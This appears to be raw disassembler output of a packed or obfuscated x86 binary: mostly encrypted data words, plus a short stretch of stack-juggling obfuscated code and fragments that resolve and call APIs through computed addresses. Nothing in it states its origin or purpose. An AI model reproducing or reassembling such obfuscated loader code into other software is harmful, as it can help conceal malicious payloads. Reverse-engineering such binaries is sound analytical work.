dd 7C6C4C72h, 0E99317Eh, 49DC7EB9h, 6C406475h, 86F7B07Ch
dd 6C3F6C28h, 1C1B987Ch, 92971D6Fh, 16EB97E5h, 0FD7D1899h
dd 0AA24C90Eh, 328D3F5h, 0B7F2DBA9h, 29000000h, 0D395E980h
dd 0E1762432h, 68E9E895h, 0D6AD56C2h, 0E1BAD3Fh, 0FD790BA8h
dd 32D494EAh, 73E07624h, 71773D41h, 75F2734Ah, 49DF7104h
dd 0DDAAA74Fh, 1BF75FDCh, 9CEC9D98h, 0E6701017h, 7624AAA7h
dd 0B22520C3h, 0F434C0F9h, 1FB78135h, 4A102B83h, 0EB9283DBh
dd 0B9C67C6Eh, 1316922Eh, 98992571h, 56001A25h, 0C3732C0Ch
dd 906h, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh, 204041E1h
dd 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h, 32B1ED8Fh
dd 0E7FE5537h, 72D2D197h, 0DE491F7Ch, 6DF8F985h, 0E13BDDD6h
dd 0C6380679h, 2492D088h, 3B931C76h, 7570F3AFh, 0FE858C17h
dd 54D06CFBh, 0EF472455h, 401EB5C0h, 76243308h, 9703ABD4h
dd 0FD8BE9ECh, 2B0h, 0DC7EB95Ah, 941EB249h, 94E5E082h
dd 92C09617h, 7C6C59B7h, 0DB489003h, 9DEAEF8Bh, 0A5126B1Ch
dd 2EC255D2h, 0B1FE8F82h, 88CC9A19h, 0C37C6D25h, 0EB85A817h
dd 7F3C4D48h, 0FD5CC7D7h, 3DCFDBA9h, 0AECFBCB5h, 247C408h
dd 475F0000h, 76243304h, 0F2652710h, 72C9BA9Ch, 7A54EB7Ch
dd 7C72C93Eh, 3545ED8Ah, 6A44DB4Ah, 7C72C92Eh, 0C36FFDBAh
dd 5AF0B1CEh, 878221BBh, 63257910h, 717C72C8h, 9400A036h
dd 99491CEFh, 0EA0BE76Fh, 4CCD4A49h, 0A466513Fh, 0D4BC5D31h
dd 6F0882BAh, 9A1D25D0h, 0FE6C2312h, 7F6h, 0B0D0AF56h
dd 395B5EE4h, 0ADCFDA6Dh, 107071F1h, 9BF9F884h, 87231B78h
dd 14AAE682h, 0B23F6B09h, 22C1DDBFh, 0F78E4527h, 72D3E1A7h
dd 0CE59EF7Ch, 6CFBFE85h, 22534ED0h, 0B2CEED45h, 37453231h
dd 0A9FB888Dh, 267C0D0Ch, 0C85E9754h, 40E309F6h, 6C972745h
dd 0B6DDE10Eh, 18Dh, 46EC80EDh, 0A7D4D350h, 21F159C6h
dd 9B108782h, 0DC8BFD6Dh, 2946ECCBh, 0BFDDD85Bh, 8935E4DFh
dd 59C0B88h, 6694738Ch, 90B6C3DEh, 0DCFA50C8h, 7C6D1431h
dd 3F2ABC50h, 99C1B97h, 85F2CF77h, 56214EE4h, 0FA9EFBFh
dd 48377C6Dh, 0FB0F4E2h, 2F9B7C6Dh, 9313AD70h, 7FA4389Eh
dd 0A5DBA9CFh, 4Ch, 0DC7EB9FEh, 1A0CB749h, 8AEB989Fh, 9B2C7C0Dh
dd 31BEFF8Ch, 17A2FC99h, 0C37C6C40h, 2B9D0D50h, 1B98E348h
dd 0E798DC6Ah, 20CC7C6Ch, 0E8216737h, 0C0AF7C6Ch, 0DC663243h
dd 0A72BA8D9h, 1CCE23F8h, 0BB8279AFh, 0C158DBA9h, 0C3000000h
dd 8AFBFE85h, 0E7F72FEh, 495FE577h, 882EAFAAh
dd 0F57F6B08h, 760273F0h, 0CD5FF6CDh, 55522326h, 4A73EDFDh
dd 7E762485h, 0D296E8F5h, 1E762484h, 6E630391h, 102B83E1h
dd 0A844DB4Ah, 5431B0Ch, 0D3762485h, 0D22257D4h, 9FA4E6CAh
dd 55C08E24h, 817C6FCCh, 41D86FE6h, 6E8C2B6Dh, 5BEDB97Ch
dd 0A969C14Eh, 356C0C0Dh, 69061B9Bh, 4AF6A208h, 44C5DC64h
dd 565D32F9h, 1B8B040Ch, 66Ah, 24445BDAh, 0ADCFCA68h, 11736EF1h
dd 84E4FD85h, 0F6D6C08h, 0BB78FE4h, 0A83E6A36h, 26C3DFBDh
dd 0AE554123h, 831AC9ABh, 72D56D2Bh, 22E57B7Ch, 6DF8F985h
dd 245550D3h, 0C7D3EF47h, 0B85B393Ch, 8AFBFE85h, 0E77E75FEh
dd 333A7E50h, 0EA867624h, 7D3A4B4Eh, 0BC4A56FCh, 20h, 0FBFE851Bh
dd 7E75FE8Ah, 14AB2A01h, 2432FEBAh, 5ADCA76h, 0A74C944Bh
dd 2936C0A0h, 0AD000000h, 8AFBFE85h, 0C0C161FBh, 33296C6Ah
dd 0D34A7624h, 3326623Ch, 0F5B27624h, 334C0C62h, 1F987624h
dd 924605B7h, 0ED761211h, 4DE8FE85h, 5ADBC659h, 32B5F3CBh
dd 64037624h, 0FDC696E7h, 0E2F6C85Fh, 0E7C72C9h, 0C85FF661h
dd 315503D3h, 0C191424Fh, 7C728887h, 889ADEB0h, 59267C72h
dd 0D0D55F2Bh, 941FFB53h, 1CA7F391h, 1B246819h, 0BD4FE671h
dd 0E47AC736h, 3EC6AEBEh, 104826B1h, 0DC7C7304h, 0AC5D7BD3h
dd 3882C19Ah, 0AF54E87Fh, 42D9C8A8h, 247A2C6Ch, 0DFDA5876h
dd 0BEFAD4ADh, 0A762479h, 0CA46EC6Dh, 26623C29h, 0B276247Ah
dd 700774F5h, 79C385D9h, 96117624h, 89536CC0h, 0AAA5401Eh
dd 36717C6Ch, 583F6AB7h, 33A35C0Ch, 51Eh, 0E888872Eh, 513336BCh
dd 0C5A7A245h, 482829C9h, 0B3D1D05Ch, 7FFBC390h, 0FC821E7Ah
dd 6A1783E1h, 1A99F597h, 0CFE67D1Fh, 72D6B9FFh, 0E6A1077Ch
dd 6CFBFE85h, 0BDB83BD5h, 0B9FFAFCCh, 7762432h, 0DFB6D278h
dd 33327648h, 0F1BE7624h, 3F3AB959h, 0B2B1324Eh, 0EFEA8923h
dd 18522847h, 0FFFA79A3h, 116D049Dh, 76243257h, 18B41A65h
dd 0DDE10EE3h, 0C385D970h, 1176243Eh, 731CC096h, 75000000h
dd 0D8F89C3Ch, 70C6FD06h, 0CA7EB957h, 2432B4F4h, 405FE076h
dd 5FF67730h, 5E2F3ACDh, 0B0E8C651h, 3C762432h, 643ADB73h
dd 7C6C81A0h, 40DC4B34h, 0CFC6A2A5h, 0A50C8FDAh, 512D4DA9h
dd 7C6C7D17h, 0F55DDAA5h, 6C7C9FE7h, 392AC97Ch, 6C7D2365h
dd 49F6B17Ch, 10017A2Bh, 0FE6624D0h, 0A540D066h, 3725D5A2h
dd 50000004h, 433037BCh, 34B5B431h, 0FE85059Eh, 0C84948E8h
dd 5C4AE9BBh, 2120C0D6h, 55D2D3A0h, 0F7C75E37h, 762432B1h
dd 2DA703Fh, 68049339h, 0AE67CFCAh, 6C452DD0h, 20AB97Ch
dd 0B5233627h, 875724A5h, 7C6D15BDh, 4365DA94h, 0DBA9F1D8h
dd 2502h, 7EB99900h, 647549DCh, 0B07C6C40h, 5DEF86F7h
dd 5D7BD3D6h, 7C6C4017h, 0EDDB8032h, 0DBA90336h, 0D8ECh
dd 0B803700h, 0E0A8D38Ch, 0CE4AE05Ch, 1981DA25h, 0EDAEDBB7h
dd 8CFDE87Fh, 65F76EEFh, 4473DBDEh, 1E898834h, 4AE0E782h
dd 0D1D45F2Dh, 5453D0A0h, 14542AC1h, 4576251Ch, 251C2F69h
dd 86F2BD76h, 0A73151F9h, 76251FD6h, 0C16171F2h, 75F2B3C0h
dd 0FDF87B17h, 0C62F98Ch, 76251D4Ch, 1C67217Dh, 0A757625h
dd 0C599317Eh, 0E9C550FAh, 7C6D4CA4h, 0EDE88B25h, 3BB71F9Ch
dd 0B157E97Ch, 70C6A7D4h, 9D3F7850h, 9CBBB40Ah, 600F82B7h
dd 0DADF5BF5h, 4346E2BEh, 9E551BFCh, 0F4621D12h, 322h
dd 0EC8C8322h, 553732B0h, 0D9BBA639h, 4C2C25CDh, 0B7D5D450h
dd 73FFC7ACh, 0E086127Eh, 6E0B87E5h, 169D096Bh, 0CBE27113h
dd 72D8B5F3h, 0EABD037Ch, 98F8F985h, 60670Ch, 0DC7EB963h
dd 40647549h, 0BB557C6Ch, 0E4943A3Fh, 0EF700C9Bh, 8D5D5AF0h
dd 7C6C3FC7h, 0F7C75FDh, 8EFFEA7Dh, 0C47F72F2h, 1FF009F6h
dd 53C8FCA3h, 0C0DBA903h, 2981802Ch, 10025h, 0FE857E00h
dd 72FE8AFBh, 0EDB00E7Fh, 0D9762436h, 3375495Ah, 81762436h
dd 8F1B79E6h, 3C90E1E4h, 0F0CE5903h, 7C6C65ADh, 0F6E4801Ch
dd 86F7744Bh, 0B22151F9h, 87B5CA7Fh, 0B8D85954h, 0CFD1E7D0h
dd 6F620206h, 0F8E4911Eh, 0DC4BC881h, 0BA3BE40h, 0DC59F38Ah
dd 0AAA74FDDh, 5876DCDDh, 82B6EA88h, 0E1E48F21h, 607F0090h
dd 0BD159213h, 4CE3723Dh, 0E99FD9B5h, 0B62D7626h, 7C42AA36h
dd 67CF4CA2h, 6E0A0FABh, 0C9A5B632h, 7627278Fh, 6AD5525Dh
dd 129DC1A3h, 136C1A95h, 33000002h, 0C1DDBFB2h, 4E5A2623h
dd 0D2CEAAB9h, 613D5F52h, 9FA4C4C5h, 6F620E36h, 120F910Dh
dd 989F1A76h, 7ACF8h, 82DCF360h, 7C72D9C6h, 85DB4C12h
dd 72010CF9h, 8F334737h, 2497793Fh, 0BB384776h, 7D14AB3Ah
dd 24976721h, 5C0A7576h, 7624981Ch, 5B67CFA8h, 9955A44Fh
dd 0FA80DFF9h, 0A4D5D053h, 0BBD946C7h, 0FBFE8518h, 0CC86FB8Ah
dd 0D647E86Bh, 0C2613199h, 0EA3EA33h, 0B13E4EAEh, 393CC7D3h
dd 913B0448h, 55DD6F06h, 45D8F65Ch, 817C6CA4h, 7EFB89E6h
dd 0F67E0A7Bh, 410D8AFBh, 0B022459Ah, 878221CBh, 0F3AA95E5h
dd 66077471h, 40D76EF9h, 6C942A6Eh, 61C9B67Ch, 0B4998673h
dd 8423782h, 30F62CFBh, 0BAE97E02h, 77F4ECF4h, 364742E5h
dd 0C5D1E149h, 0D6A7243Dh, 6B0ECABFh, 0E2B3E22Ah, 2027CC4Ch
dd 0A4A54153h, 3839C5D7h, 0E55A104Bh, 1724643Ah, 0F7B07625h
dd 10CF8376h, 0B1AC33CDh, 0B30BA3C0h, 7B53C288h, 7C6D1C8Eh
dd 0E3BFDDDAh, 64344540h, 0DBA9C6D9h, 0AAB94E58h, 2E5FDCDDh
dd 0EE3FCAB5h, 0DB495E77h, 0AAA94A44h, 33BF5C2Dh, 62D0B74Ch
dd 0C9CC77BDh, 2027C25Eh, 30670457h, 2F87E845h, 5A003B93h
dd 0B5AF3CBh, 0C1AE82B5h, 4443E0B0h, 7D229037h, 7BEAB08Bh
dd 32435EE1h, 6638DD75h, 7C6CF3C7h, 0B4046403h, 0BF56C18Bh
dd 6CE2A9EFh, 282DD77Ch, 412E5A5Bh, 4E522CE9h, 9A82BB7Ah
dd 82196C1Dh, 2A596C2Ch, 973F7876h, 1F7D78FBh, 0D99FEF86h
dd 0E7762A59h, 0DD663298h, 30BD4FC6h, 0FE8F8222h, 1D9A30B1h
dd 0AB4118Ah, 526492C0h, 90263DC6h, 46D59FC2h, 0AEE3F2C9h
dd 15A46C90h, 0BE45D72Fh, 5ADCABBh, 0A74C944Bh, 3FD1C0A0h
dd 0AFCCBDA8h, 0EDE88B07h, 6D640C9Ch, 0E1E08C1Ch, 61600090h
dd 65019310h, 3D8F1764h, 1D189A4Eh, 8279F99Ch, 0B2DED55Eh
dd 29465DE6h, 0DB9h, 0D350EC00h, 572421C7h, 6601A956h
dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh
dd 3BCh, 51241489h, 0C181E189h, 4, 4E981h, 0C870000h, 1C895C24h
dd 61166824h, 4890000h, 0DBBE5624h, 89064E97h, 24348BF3h
dd 5404C483h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 8B9240Ch
dd 1000000h, 591989C1h, 582434FFh, 4C481h, 1C8B0000h, 0E3895324h
dd 4C381h, 0C3830000h, 241C8704h, 0D413E95Ch, 0D6B0FFF9h
dd 4EA9EEB8h, 0FFC50306h, 6C9142E0h, 4A78C711h, 8387A96Ch
dd 0E924B002h, 77004961h, 918AFE76h, 16542753h, 709DD328h
dd 0D582504Bh, 25F5DC20h, 0BF4C015Ah, 0E8E27E71h, 862AD94Fh
dd 0C6E0C407h, 0FCD4D106h, 442B2752h, 0ACC28C4Bh, 5E144927h
dd 646327Fh, 7C911E25h, 9772A137h, 492EE44h, 9D86C535h
dd 59543C77h, 9E0B6602h, 7BAC0702h, 0A7D83661h, 8D415A35h
dd 25E2E553h, 0CE83Fh, 6F910000h, 0FEDA4090h, 0AFE35BB2h
dd 8B668B4Ah, 0C7815FC8h, 60B9h, 74AF4FBBh, 49EB8168h
dd 81687497h, 0E7CF5DD6h, 0E9178B50h, 8, 1276D73Fh, 0A6FBFD41h
dd 0E71FC281h, 0C68127EDh, 6DD2D28Dh, 335F281h, 0BF0F0E66h
dd 2BC281C7h, 8A166B93h, 0BF0F52CAh, 0F078FC1h, 0EF83C3B7h
dd 0B70F5201h, 4F4F5EF7h, 81CE8B4Fh, 1EBh, 1C850F00h, 0F000000h
dd 185h, 24E9F500h, 45000000h, 382275A5h, 4962CCBh, 0D33FCF03h
dd 0E970FEA8h, 0FFFFFF91h, 1B086468h, 57171CB8h, 0D452E3D0h
dd 0E84B18DEh, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh
dd 8B66E874h, 81665BCFh, 81D722EFh, 6299C3h, 168D0F00h
dd 50000000h, 0EE8h, 44870600h, 0CE52AC5h, 0B5BF8375h
dd 5994E19Dh, 8BF62B59h, 0E4803314h, 0C4C2815Bh, 6613A7DBh
dd 8EF4C781h, 0E5E0EA81h, 81F87C77h, 0A8558CC2h, 0CE8B6655h
dd 0B8331489h, 24C48C73h, 334FC981h, 0EE8329F2h, 4860F04h
dd 51000000h, 8159C88Ah, 0FF9E14FEh, 22850FFFh, 0E9000000h
dd 0Bh, 22893575h, 8A7F644h, 0E959A864h, 19h, 89C0D317h
dd 0CE1A36C7h, 453465DDh, 0E9C68B68h, 0FFFFFF8Fh, 6DCC12E3h
dd 8EB80h, 0FD000000h, 0E90663B0h, 4A9h, 4EAD8F68h, 0D21BE906h
dd 568FFF9h, 0E9064EAEh, 0FFF9D211h, 4EAF4068h, 0D207E906h
dd 49E8FFF9h, 0F47E2A76h, 600793F1h, 0EB8B0765h, 921E8A16h
dd 81D6FD9Fh, 5C3C3DB9h, 0C1A3BE40h, 4B2928D5h, 0B3D1D45Fh
dd 77318D20h, 457C72DEh, 0F98520E3h, 65FC8BF8h, 24334F09h
dd 0FCF57D76h, 1592EE8Fh, 5356DDBDh, 0BC5E5931h, 0EE917029h
dd 3BF8A9A7h, 0A5AC0293h, 0A47C6CDAh, 0C9F7B10Dh, 0BAC57C6Ch
dd 6A1B6414h, 6CC998DCh, 5807B37Ch, 0A999B76Ch, 2F86DDBh
dd 0AD440000h, 6CCD97D1h, 2F6F227Ch, 81543F85h, 851EB4F3h
dd 655E76D9h, 0B73413B4h, 0ECFB8C20h, 62670D9Fh, 0BF179415h
dd 0D6A83FD6h, 76243292h, 4C3C33BEh, 9EDAB423h, 2A762432h
dd 0A6F7E54Dh, 0C27C6C42h, 0C39B32A5h, 7C6C4185h, 39C45453h
dd 0E6709026h, 79D1A817h, 7F16B48Fh, 99AA3A2Fh, 4ED9A677h
dd 0A4E20B7h, 0D673899Ah, 99BFF9A9h, 620D7389h, 44D8AFCCh
dd 0BB13BBBEh, 0B44BDA80h, 89999EDAh, 0DF4D2A73h, 21F45A57h
dd 0D1D2C14Dh, 58EE8279h, 0AAD5E54Dh, 702A13Bh, 8F8A2965h
dd 732D5F30h, 38B66917h, 2CAh, 0F4946B0Ah, 7D1F1A98h, 0E1839E21h
dd 54340DB5h, 0DFBDBC38h, 5BE7DFB4h, 0D86E3A46h, 76F3AFCDh
dd 0FE851173h, 0B3CA99FBh, 72DF9DDBh, 0F2952B7Ch, 49DC7EB9h
dd 72DF7175h, 2DB8C77Ch, 0E9AFFF96h, 0F77C72DEh, 0CA762288h
dd 65FC95F7h, 72DF4F09h, 63019D7Ch, 0EB680966h, 452BD743h
dd 0A9D6A7A2h, 0C88B5B28h, 7C72DEh, 7CD96463h, 4A18EF39h
dd 25425D5h, 0E1800000h, 6C1682EEh, 89F0B69h, 83237F1Dh
dd 0AB6E28Eh, 694E5537h, 0B4D4D551h, 395B46D8h, 0A3C1C06Dh
dd 2B494CF7h, 0F4925B8h, 0DD7C72E1h, 7EB9980Bh, 717549DCh
dd 0C77C72DFh, 397BCBB8h, 107C72DFh, 0D088E67Dh, 0FC7C72DEh
dd 65027376h, 88C26817h, 0BE0EF5D3h, 7BD4DBAFh, 4F000001h
dd 5F5BEC80h, 0C2A3D0D5h, 0DF773445h, 0C4B5B033h, 9D080FB4h
dd 53FB25E4h, 0D6E716h, 7B2F0860h, 24E36523h, 0B7347376h
dd 0F69F4E20h, 12AE7C6Ch, 0BE3A9097h, 0BCF580F1h, 4F718543h
dd 9B3991C4h, 7C6D06D9h, 2F19C670h, 0DBA9C6F4h, 2F2Eh
dd 7EB97500h, 0BB749DCh, 92387936h, 401EAB03h, 0BBCA7C6Ch
dd 6C3FA5E3h, 0F774337Ch, 3F6C2886h, 6BE77C6Ch, 36B90B4h
dd 97B1DBA9h, 0EA000000h, 2D0FFE85h, 35F14B89h, 94CF89E5h
dd 921D7624h, 90E79415h, 0C496B01Bh, 74DAB20Ah, 681918A4h
dd 0EF9C9B18h, 6000169Dh, 7376F361h, 6DFF96F2h, 0F1BECFDAh
dd 1E177B59h, 32B17625h, 3A055537h, 0BCA90590h, 287C6FB6h
dd 0B844D84Fh, 23CFDBB9h, 499C9F2Eh, 0E59A0C56h, 11975h
dd 253CC500h, 0ACA94B47h, 504FD0CCh, 0C5DC6430h, 4A4FEBA7h
dd 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h, 2A660205h, 75EE8A89h
dd 0E24C0C62h, 0C6987C72h, 0F8F9855Dh, 60670C98h, 0FE856300h
dd 75FE8AFBh, 0FBACBD8Ah, 0EA6B8C59h, 0CECF067Bh, 3121AFE5h
dd 96A10999h, 0C70D61F4h, 1D7C6CF7h, 0CD690392h, 0ECC259CCh
dd 7C6C6AACh, 0CB3B8B38h, 0A6952679h, 0A0F19139h, 0EEAFCAEBh
dd 0FE54B594h, 6D1494D0h, 3723C07Ch, 0BBF8898Ch, 0B0475E3Ah
dd 6D149ADEh, 0F159267Ch, 0F7848521h, 7D47h, 7EB9DC00h
dd 0DCB249DCh, 7624329Ch, 2EE74F28h, 49AEE297h, 0A8B518CAh
dd 0C2565402h, 70077C73h, 72815A1Eh, 0B119667Ch, 5DEF6601h
dd 7976DCD5h, 1A8D882Bh, 50E6FD86h, 0D8DF6430h, 83111BABh
dd 0BC6E7C9Fh, 9B9E25CFh, 1006ADF9h, 90E09190h, 562130Eh
dd 1A760784h, 6FF6879Ah, 4FF43CE3h, 8148005Eh, 0EB947C87h
dd 11920E6Ah, 80EEAA04h, 0BDFA7C87h, 3DF4F3Ch, 34000000h
dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 52B9BFCCh
dd 0C281E289h, 4, 4BF57h, 0FA290000h, 2414875Fh, 4EC835Ch
db 89h, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 64EAC6Dh
mov ecx, [esp]
add esp, 4
push esp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
pop dword ptr [ebp+8]
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_541331
; ---------------------------------------------------------------------------
dw 0C187h
dd 20796929h, 0E8136D71h, 0FDF7C896h, 0B07EB881h, 0C503064Eh
dd 3F7CE0FFh, 85A85E9Eh, 10216472h, 7A8644F3h, 666D136Fh
dd 2624515h, 0F8E721CAh, 0D35D57A4h, 4373524Ch, 4FFD530Ah
dd 35251B77h, 38B1431h, 0E8124CD7h, 6B4442BCh, 63E66DAFh
dd 0E6CD181Dh, 0E76771B1h, 8D8D3BACh, 64EB1C8h, 0D15958Bh
dd 0EE90648h, 7F000000h, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h
dd 58D89DFh, 0FC064814h, 302585C7h, 715C0648h, 0BE660000h
dd 0E38161E0h, 39E0B7C7h, 2AD985C7h, 648h, 5E90000h, 4A000000h
dd 0CDAB1356h, 0E25B5FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 95FF71C3h, 6480E71h
dd 1C35BD89h, 6A0648h, 92D95FFh, 0C08B0648h, 0D7792BEBh
dd 302C6DC0h, 0DDB38E20h, 325E0C38h, 0DD7FCA4Dh, 45A8C02Ch
dd 0BE553DC4h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h
dd 9E808h, 6E670000h, 0EF2AC73Dh, 3161AA80h, 48128995h
dd 0BF665E06h, 0C681FE14h, 7378h, 561958Bh, 0B0B90648h
dd 0E800001Ch, 0Fh, 97A40C7Eh, 64E0AC5Ch, 0AD1E8600h, 8BFB0CC3h
dd 481699BDh, 36FF5F06h, 0AF1BD8Bh, 0E9580648h, 7, 0E356821h
dd 819A3E78h, 0AB2594C0h, 48BA666Eh, 0A5E8817Ah, 81161AD0h
dd 8F262EE8h, 6606897Ch, 836090BFh, 14E904EEh, 91000000h
dd 55937217h, 26F904B4h, 21208993h, 3F99E28Eh, 49832E3Dh
dd 19850Fh, 80560000h, 0E95B4BDBh, 1Eh, 82A580B0h, 0E3A2B923h
dd 379C97E4h, 8B10848Bh, 0FF8CE9F9h, 0C9A1FFFFh, 0B302634Eh
dd 10E86111h, 0C4000000h, 82A1EA9Bh, 0C1EA3B47h, 7D32C36h
dd 0F46D35Dh, 68Ah, 0D9953100h, 5A064811h, 2011B52Bh, 0C2810648h
dd 5DBFh, 1829B58Bh, 33B80648h, 0E9000017h, 6, 9D71B0E1h
dd 32FF5F05h, 11E9h, 0F3905800h, 2DC2C694h, 5CCE6B4Dh
dd 0ED6F24F5h, 80598FA2h, 0F18116DFh, 3C2B9669h, 7E8h
dd 0DFC27800h, 0FCC8E56Eh, 10E9h, 0F7ADCA00h, 3B7C4F48h
dd 4965D0C9h, 0DA1FD499h, 0F1815FB3h, 0AE5588Ch, 12899D29h
dd 0F1810648h, 1FF4164Bh, 1800Fh, 89F90000h, 0FE90Ah, 0A6D40000h
dd 71D8FAB6h, 5140ED35h, 0E0B5F879h, 4EA8397h, 0EE02E381h
dd 0F482054h, 1D85h, 0ADB58900h, 0E906481Ch, 2Ah, 76E6EFE0h
dd 0CFC1993h, 9392ABC2h, 0C1AFA075h, 0B70FBB81h, 0FF58E9FEh
dd 196EFFFFh, 95B64BC1h, 0CC2E1CE1h, 0F9591FA9h, 0C08B18E1h
dd 1299BD83h, 75000648h, 35BD8309h, 6480Dh, 53501974h
dd 21B8C08Bh, 89000004h, 4829B985h, 649D8D06h, 0FF064AA4h
dd 83585BD3h, 480D35BDh, 17740006h, 21B85350h, 89000004h
dd 4829B985h, 539D8D06h, 0FF064AA1h, 8B585BD3h, 459D8BC0h
dd 0C6064813h, 480FF985h, 52685606h, 0FF9CA8B8h, 4829A9B5h
dd 60858D06h, 0FF064B7Fh, 68046AD0h, 1000h, 105DB5FFh
dd 6A0648h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h, 4872868Dh
dd 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h
dd 1A31BD83h, 0F000648h, 0E84h, 319D8B00h, 8B06481Ah, 48063185h
dd 51038906h, 0CD858D52h, 0FF064842h, 8BFA8BD0h, 8BD18BF1h
dd 0C6A4F3C8h, 480FF985h, 39685606h, 0FFD41F6Dh, 4829A9B5h
dd 60858D06h, 0FF064B7Fh, 800068D0h, 6A0000h, 8BD0FF52h
dd 99BD83C0h, 64812h, 0BD830975h, 6480D35h, 50197400h
dd 0B8C08B53h, 421h, 2FF98589h, 9D8D0648h, 64AA4CBh, 585BD3FFh
dd 0D35BD83h, 74000648h, 0B8535017h, 421h, 2FF98589h, 9D8D0648h
dd 64AA16Ch, 585BD3FFh, 9D8DC08Bh, 6481A31h, 0C00B038Bh
dd 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h, 0AE80000h, 0A000000h
dd 1CA90BE1h, 0F4D7CD56h, 830F5731h, 0
a_S db '^_`è',0Dh,0
align 4
dd 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh, 0BE9D8h, 8F3D0000h
dd 71688D30h, 86BB725h, 81615948h, 6814C7h, 0B70F6000h
dd 0E08166C0h, 686132DAh, 19CCh, 692EB966h, 0DE95Bh, 9CA20000h
dd 7B7C0F50h, 0AC07ACD1h, 0FF024BDDh, 58595337h, 5E9h
dd 80396000h, 0E8819D94h, 3CB311F9h, 185E881h, 8B662850h
dd 0E4C081CBh, 6669454Ch, 789D68Bh, 48F0Fh, 0BA660000h
dd 0EF817799h, 8764B9Dh, 25D28052h, 99C7815Ah, 0E808764Bh
dd 9, 3ADBCCE0h, 0B95100C5h, 0EB835E90h, 1B850F01h, 0BE000000h
dd 1AC6DCA7h, 1EE9h, 88B65400h, 0CDB06DFCh, 0AA270F81h
dd 0A0417F9Eh, 0D18B92BBh, 0FFFF82E9h, 0E1B23CFFh, 55152623h
dd 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 8584FD49h, 0ABFAFD20h
dd 0BC3BFD20h, 3599FD20h, 0F08BFD20h, 1361FD20h, 624EFD20h
dd 0DA2FFD20h, 861AFD20h, 0AB41FD20h, 0BC1EFD20h, 3673FD20h
dd 0F1DCFD20h, 13BDFD20h, 629EFD20h, 0D85AFD20h, 85AEFD20h
dd 259DFD20h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh
dd 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh
dd 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 3C76FD7Ah, 0D475A490h
dd 0CB75A490h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h
dd 40F0701Ah, 0A673B3C0h, 0D9C3A8FFh, 0FFF0707Ch, 6C73B3C0h
dd 0BCC3E8FFh, 0BF0707Ch, 3573B3C0h, 10C3ACFFh, 0FDF0707Ch
dd 1E73B3C3h, 85C3E4FFh, 74F0707Ch, 7B73B3C3h, 37C3E0FFh
dd 93F0707Ch, 0D773B3C2h, 61C3DCFFh, 0D6F0707Ch, 4273B3C2h
dd 0ABC3D8FFh, 0A5F0707Ch, 0F073B3C2h, 0F2C3D4FFh, 0ECF0707Ch
dd 0A673B3C2h, 0D9C3C8FFh, 0B5F0707Ch, 6C73B3C2h, 0BCC3D0FFh
dd 0E4F0707Ch, 3573B3C2h, 10C3CCFFh, 9DF0707Ch, 1E73B3C2h
dd 85C3C8FFh, 9F0707Ch, 7B73B3C2h, 37C3B8FFh, 0B7F0707Ch
dd 0D773B3C3h, 61C3B4FFh, 0B9F0707Ch, 4273B3C3h, 0ABC3B0FFh
dd 85F0707Ch, 0F073B3C3h, 0F2C3C4FFh, 0F0F0707Ch, 0A673B3C3h
dd 0D9C3C0FFh, 82F0707Ch, 6C73B3C0h, 0BCC3BCFFh, 50F0767Ch
dd 3573B56Ah, 10C373FFh, 0CEF0767Ch, 1E73B576h, 85C36FFFh
dd 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 0BD717FBh, 0D525FB34h
dd 0ADFDF53Fh, 913B4BF7h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
dd 7975FD7Ah, 7F987C27h, 0A073B3CDh, 61C3E9FFh, 83C87D7Ch
dd 0CF73B3CCh, 0E4C5B409h, 0F9B54B75h, 863589BAh, 0F2C36FEFh
dd 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD3B4BE8h, 536048F7h
dd 0C6F8FB34h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah
dd 913B4BE8h, 7D6048F7h, 0D1F8FB34h, 228A50FCh, 87BC1F23h
dd 0F2C3E9F7h, 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah
dd 708A5779h, 0F43B4BF4h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h
dd 0D0DE9B59h, 0D9C373EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah
dd 866E8872h, 0F2C373EFh, 54C54D7Ch, 0BA8AAD79h, 913B4BF4h
dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h
dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh
dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh
dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh
